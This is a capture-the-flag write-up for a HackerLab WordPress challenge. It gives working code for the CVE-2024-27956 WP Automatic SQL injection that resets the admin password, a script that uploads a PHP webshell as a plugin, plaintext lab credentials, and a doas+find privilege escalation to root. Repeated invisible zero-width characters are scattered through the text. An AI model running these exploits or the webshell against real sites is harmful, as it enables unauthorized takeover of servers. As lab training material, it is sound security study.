← Back to Writeups
CUSTOMMediumPentest

Искатель

XESXOR9/10/20264 min read
#pentest#custom#medium#wordpress_rest_api_user_enumer#cve_2024_27956_wp_automatic_sq#wordpress_admin_password_reset#php_webshell_upload_via_plugin#mysql_credential_extraction#md5_hash_cracking#plaintext_credential_file_disc#doas_find_privilege_escalation#gtfobins_find_exec

Искатель

Platform: hackerlab | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-23 | Status: Solved Techniques: wordpress_rest_api_user_enumeration, cve_2024_27956_wp_automatic_sqli, wordpress_admin_password_reset_via_sqli, php_webshell_upload_via_plugin_zip, mysql_credential_extraction, md5_hash_cracking, plaintext_credential_file_discovery, doas_find_privilege_escalation, gtfobins_find_exec

Summary

Task: WordPress 6.5.2 with vulnerable WP Automatic 3.55.4 plugin, full server compromise required. Solution: CVE-2024-27956 SQLi to reset admin password, webshell upload for RCE, plaintext SSH credentials in webroot, doas+find GTFOBins privesc to root.

Искатель — HackerLab

Description

Привет! Насколько нам известно тебя интересуют пентесты?! Нам поступила информация из проверенных источников, что на данном веб-сайте есть новая уязвимость (CVE-2024-XXXXX). Твоя задача: полностью скомпрометировать сервер и, возможно, мы тебя пригласим к нам в команду.

IP: 62.173.140.174:29000 (web) IP: 62.173.140.174:29022 (SSH)

English summary: A WordPress website has a known CVE-2024-XXXXX vulnerability. The goal is to fully compromise the server. Two services are exposed: a web server on port 29000 and SSH on port 29022. The flag is split into two parts — one readable by a regular user and one by root only. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Phase 1: Reconnaissance

The target runs WordPress 6.5.2 on Apache with the default twentytwentyfour theme. Initial enumeration revealed:

  • User enumeration via REST API (/wp-json/wp/v2/users/) found user admin (ID 1)
  • XML-RPC enabled at /xmlrpc.php — brute-force of common passwords failed
  • No plugins visible in page source (no CSS/JS loaded from plugin directories)
  • Standard plugin directory enumeration was unreliable — WordPress catches all 404s and returns the main page ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Phase 2: Identifying the Vulnerability

The challenge description hints at CVE-2024-XXXXX. After gaining initial access, the MySQL database revealed wp_automatic_* tables, confirming the WP Automatic plugin was installed. Version check:

cat /var/www/html/wp-content/plugins/wp-automatic/wp-automatic.php
# Version: 3.55.4

This version is vulnerable to CVE-2024-27956 — an unauthenticated SQL injection in the CSV import functionality, affecting WP Automatic versions before 3.92.1. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Phase 3: Internal Enumeration

After gaining webshell access as www-data:

  • System users: only admin (uid=1000) has a shell (/bin/sh)
  • WordPress DB credentials from wp-config.php: admin:uBZbYXPyGXmF (MySQL on 127.0.0.1)
  • WordPress users in database:
    • admin: phpass hash $P$BoXxyZGolpVg3XFvtQNO3vHjTuOe01.
    • pwned: MD5 hash 3f6047ef0ff10711b8ae95d6f7d9b18a → cracked to pwned123!
    • eviladmin: phpass hash $P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0
  • Flag part 1 at /home/admin/first_part — permissions -r-------- owned by admin:root
  • Flag part 2 at /root/last_part — only readable by root
  • Privilege escalation vector: /etc/doas.conf contains permit nopass admin cmd find
  • No SUID binaries, no capabilities, no writable cron jobs ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Exploit CVE-2024-27956 (WP Automatic SQL Injection)

The vulnerability exists in /wp-content/plugins/wp-automatic/inc/csv.php. The endpoint accepts a SQL query parameter q with an integrity hash integ (MD5 of the query). No authentication is required.

Used the SQLi to reset the WordPress admin password to a known MD5 hash:

python
#!/usr/bin/env python3
"""CVE-2024-27956 - WP Automatic SQL Injection"""
import requests
import hashlib
import urllib3
urllib3.disable_warnings()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET = "http://62.173.140.174:29000"
CSV_ENDPOINT = "/wp-content/plugins/wp-automatic/inc/csv.php"

headers = {
    "User-Agent": "Mozilla/5.0",
    "Content-Type": "application/x-www-form-urlencoded"
}

def make_request(query):
    url = TARGET + CSV_ENDPOINT
    integ_hash = hashlib.md5(query.encode()).hexdigest()
    data = {"q": query, "auth": " ", "integ": integ_hash}
    return requests.post(url, headers=headers, data=data, timeout=30, verify=False)

# Reset admin password to "hacked123" using MD5 (WordPress backwards-compatible)
new_password = "hacked123"
md5_hash = hashlib.md5(new_password.encode()).hexdigest()
query = f"UPDATE wp_users SET user_pass='{md5_hash}' WHERE ID=1"
make_request(query)
print(f"[+] Admin password reset to: {new_password}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Upload PHP Webshell via WordPress Plugin Upload

After logging into WordPress admin with admin:hacked123, uploaded a malicious plugin ZIP:

python
#!/usr/bin/env python3
"""Upload webshell via WordPress plugin upload"""
import requests, re, zipfile, io
import urllib3
urllib3.disable_warnings()

TARGET = "http://62.173.140.174:29000"
session = requests.Session()

# Login
session.get(f"{TARGET}/wp-login.php")
session.post(f"{TARGET}/wp-login.php", data={
    "log": "admin", "pwd": "hacked123",
    "wp-submit": "Log In", "redirect_to": f"{TARGET}/wp-admin/", "testcookie": "1"
}, allow_redirects=True)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Get plugin upload nonce
response = session.get(f"{TARGET}/wp-admin/plugin-install.php?tab=upload")
nonce = re.search(r'name="_wpnonce" value="([^"]+)"', response.text).group(1)

# Create malicious plugin ZIP
plugin_code = """<?php
/*
Plugin Name: Shell
Description: Shell
Version: 1.0
*/
if(isset($_REQUEST['cmd'])){
    echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; die;
}
?>"""

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('shell/shell.php', plugin_code)
zip_buffer.seek(0)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Upload
session.post(f"{TARGET}/wp-admin/update.php?action=upload-plugin",
    files={'pluginzip': ('shell.zip', zip_buffer, 'application/zip')},
    data={'_wpnonce': nonce, 'install-plugin-submit': 'Install Now'})

print(f"[+] Webshell at: {TARGET}/wp-content/plugins/shell/shell.php?cmd=id")

Webshell confirmed RCE as www-data:

$ curl "http://62.173.140.174:29000/wp-content/plugins/shell/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 3: Discover SSH Credentials

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SSH brute-force with database passwords and common credentials failed. Searching the webroot revealed a plaintext credentials file:

bash
# Via webshell
cat /var/www/html/common.txt
# WordPress credentials: admin:xhmTMTrmcAtT
# SSH credentials: admin:yhBZbJyAzJtk

Step 4: SSH Access and Flag Part 1

bash
ssh -p 29022 admin@62.173.140.174
# Password: yhBZbJyAzJtk

cat /home/admin/first_part
# CODEBY{REDACTED

Step 5: Privilege Escalation via doas + find (GTFOBins)

Checked /etc/doas.conf: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

permit nopass admin cmd find

The admin user can run find as root without a password via doas. This is a classic GTFOBins technique — find can execute arbitrary commands via -exec:

bash
doas find / -name last_part -exec cat {} \;
# REDACTED}

Step 6: Assemble the Flag

Part 1: CODEBY{REDACTED
Part 2: REDACTED}
Flag:   CODEBY{REDACTED}

The flag itself is a hint about the privesc method: "without sudo but with doas". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍